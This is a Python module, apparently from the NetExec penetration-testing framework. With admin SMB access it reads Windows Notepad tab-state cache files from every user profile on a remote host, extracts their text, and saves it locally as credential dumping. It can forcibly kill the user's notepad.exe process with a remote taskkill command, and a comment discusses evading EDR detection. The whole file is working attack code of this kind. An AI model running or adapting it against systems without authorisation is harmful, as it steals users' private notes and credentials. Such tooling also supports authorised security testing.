mirror of
https://github.com/Pennyw0rth/NetExec
synced 2026-06-06 16:34:30 +00:00
197 lines
9.0 KiB
Python
197 lines
9.0 KiB
Python
from io import BytesIO
|
|
from os import makedirs
|
|
from os.path import join, abspath
|
|
import re
|
|
import time
|
|
from nxc.helpers.misc import CATEGORY
|
|
from nxc.paths import NXC_PATH
|
|
from impacket.smbconnection import SessionError
|
|
|
|
smb_error_status = [
|
|
"STATUS_ACCOUNT_DISABLED",
|
|
"STATUS_ACCOUNT_EXPIRED",
|
|
"STATUS_ACCOUNT_RESTRICTION",
|
|
"STATUS_INVALID_LOGON_HOURS",
|
|
"STATUS_INVALID_WORKSTATION",
|
|
"STATUS_LOGON_TYPE_NOT_GRANTED",
|
|
"STATUS_PASSWORD_EXPIRED",
|
|
"STATUS_PASSWORD_MUST_CHANGE",
|
|
"STATUS_ACCESS_DENIED",
|
|
"STATUS_NO_SUCH_FILE",
|
|
"KDC_ERR_CLIENT_REVOKED",
|
|
"KDC_ERR_PREAUTH_FAILED",
|
|
]
|
|
|
|
|
|
class NXCModule:
|
|
# Extracts content from Windows Notepad binary tab state files
|
|
# Module by @termanix
|
|
name = "notepad"
|
|
description = "Extracts content from Windows Notepad tab state binary files."
|
|
supported_protocols = ["smb"]
|
|
category = CATEGORY.CREDENTIAL_DUMPING
|
|
|
|
def __init__(self, context=None):
|
|
self.context = context
|
|
self.false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
|
|
self.FILE_PATH_REGEX = r"^[A-Za-z]:\\(?:[^<>:\"/\\|?*]+\\)*[^<>:\"/\\|?*]+\.[\w]{1,5}$"
|
|
|
|
def options(self, context, module_options):
|
|
"""KILL // Kill for notepad.exe process. Default False."""
|
|
if "KILL" not in module_options:
|
|
self.kill = False
|
|
else:
|
|
self.kill = module_options["KILL"]
|
|
|
|
def extract_strings(self, data, min_length=4):
|
|
"""Extract printable strings from binary data, similar to the strings command."""
|
|
results = []
|
|
|
|
# ASCII strings extraction
|
|
ascii_strings = re.findall(b"[ -~]{%d,}" % min_length, data)
|
|
for s in ascii_strings:
|
|
try:
|
|
results.append(("ASCII", s.decode("ascii")))
|
|
except Exception as e:
|
|
self.context.log.fail(f"Failed extracting ASCII strings: {e}")
|
|
|
|
# UTF-16LE strings extraction (common in Windows)
|
|
utf16_pattern = re.compile(b"(?:[\x20-\x7E]\x00){%d,}" % min_length)
|
|
utf16_strings = utf16_pattern.findall(data)
|
|
for s in utf16_strings:
|
|
try:
|
|
decoded = s.decode("utf-16-le")
|
|
results.append(("UTF-16LE", decoded))
|
|
except Exception as e:
|
|
self.context.log.fail(f"Failed extracting UTF-16LE strings: {e}")
|
|
|
|
return results
|
|
|
|
def is_meaningful_content(self, string):
|
|
"""Check if a string has meaningful content."""
|
|
# Filter out strings that are just repetitions of the same character
|
|
if len(set(string)) <= 2 and len(string) > 4:
|
|
return False
|
|
|
|
# Filter out strings that don't have any letters or numbers
|
|
if not any(c.isalnum() for c in string):
|
|
return False
|
|
|
|
# Filter out strings that look like memory addresses or hex dumps
|
|
if re.match(r"^[0-9A-F]+$", string) and len(string) >= 8:
|
|
return False
|
|
|
|
# Filter out strings that are just whitespace or control characters
|
|
if string.isspace():
|
|
return False
|
|
|
|
# Filter out common binary file markers that aren't actual content
|
|
common_garbage = ["NULL", "true", "false", "xmlns", "http://", "https://", "COM1", "COM2", "COM3"]
|
|
return string not in common_garbage
|
|
|
|
def read_and_decode_file(self, connection, context, file_path, user):
|
|
buf = BytesIO()
|
|
try:
|
|
connection.conn.getFile("C$", file_path, buf.write)
|
|
except Exception as e:
|
|
if "STATUS_SHARING_VIOLATION" in str(e): # It means notepad.exe is open on target.
|
|
if self.kill:
|
|
try:
|
|
context.log.debug(f"Trying to kill notepad.exe process for {user} user.")
|
|
# To Do: Kill process with RPC, connection.execute can be detect by EDRs and module wont work. Or copy the target bin files without trigger the EDRs
|
|
connection.execute("taskkill /IM notepad.exe /F") # If notepad.exe open by user, needs to kill that process for reading files.
|
|
time.sleep(1) # Sleep 1 sec for finding and reading processing
|
|
context.log.debug(f"Notepad process was successfully killed for {user}")
|
|
connection.conn.getFile("C$", file_path, buf.write)
|
|
except Exception as e:
|
|
context.log.debug(f"Alternative method failed: {e}")
|
|
else:
|
|
context.log.fail("Notepad.exe is open on target. If want to kill process, add kill option true. (-o KILL=True)")
|
|
return []
|
|
else:
|
|
# If it's a different error, just skip this file
|
|
context.log.debug(f"Error accessing {file_path}: {e}")
|
|
|
|
buf.seek(0)
|
|
binary_data = buf.read()
|
|
|
|
# Return only the meaningful strings
|
|
return [
|
|
string for _, string in self.extract_strings(binary_data)
|
|
if self.is_meaningful_content(string)
|
|
]
|
|
|
|
def on_admin_login(self, context, connection):
|
|
self.context = context
|
|
context.log.display("Searching for Notepad cache...")
|
|
for directory in connection.conn.listPath("C$", "Users\\*"):
|
|
found = 0
|
|
if directory.get_longname() in self.false_positive or not directory.is_directory():
|
|
continue
|
|
|
|
# Path for Windows Notepad tab state files
|
|
notepad_dir = f"Users\\{directory.get_longname()}\\AppData\\Local\\Packages\\Microsoft.WindowsNotepad_8wekyb3d8bbwe\\LocalState\\TabState\\"
|
|
try:
|
|
for file in connection.conn.listPath("C$", f"{notepad_dir}\\*"):
|
|
if file.get_longname() not in self.false_positive and file.get_longname().endswith(".bin"):
|
|
file_path = f"{notepad_dir}{file.get_longname()}"
|
|
|
|
# Read the binary file
|
|
meaningful_strings = self.read_and_decode_file(connection, context, file_path, directory.get_longname())
|
|
|
|
if meaningful_strings:
|
|
found += 1
|
|
context.log.highlight(f"C:\\{file_path}")
|
|
|
|
# Output content
|
|
content_lines = []
|
|
|
|
# First loop to handle meaningful strings
|
|
for string in meaningful_strings:
|
|
if bool(re.match(self.FILE_PATH_REGEX, string)): # Only needed if checking locally
|
|
# Read the file into a buffer
|
|
meaningful_strings = self.read_and_decode_file(connection, context, string[2:], directory.get_longname())
|
|
|
|
# Second loop to handle content inside the file
|
|
for string in meaningful_strings:
|
|
context.log.highlight(f"\t{string}")
|
|
content_lines.append(string) # Store the string value only
|
|
else:
|
|
context.log.highlight(f"\t{string}")
|
|
content_lines.append(string) # Store the string value only
|
|
|
|
# Save to file
|
|
filename = f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt"
|
|
export_path = join(NXC_PATH, "modules", "notepad")
|
|
path = abspath(join(export_path, filename))
|
|
makedirs(export_path, exist_ok=True)
|
|
|
|
with open(path, "w+") as output_file:
|
|
output_file.write(f"Source: C:\\{file_path}\n\n")
|
|
output_file.write("\n".join(content_lines)) # Write strings line by line
|
|
context.log.success(f"Notepad tab state content written to: {path}")
|
|
except SessionError as e:
|
|
error = self.get_error_string(e)
|
|
if error == "STATUS_OBJECT_NAME_NOT_FOUND" or error == "STATUS_OBJECT_PATH_NOT_FOUND":
|
|
context.log.debug(f"Failed for user {directory.get_longname()}: {e}")
|
|
else:
|
|
context.log.fail(
|
|
f"Error enumerating shares: {error}",
|
|
color="magenta" if error in smb_error_status else "red",
|
|
)
|
|
if found == 0:
|
|
context.log.info("No Notepad tab state files with meaningful content found")
|
|
|
|
def get_error_string(self, exception):
|
|
if hasattr(exception, "getErrorString"):
|
|
try:
|
|
es = exception.getErrorString()
|
|
except KeyError:
|
|
return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
|
|
if type(es) is tuple:
|
|
return es[0]
|
|
else:
|
|
return es
|
|
else:
|
|
return str(exception)
|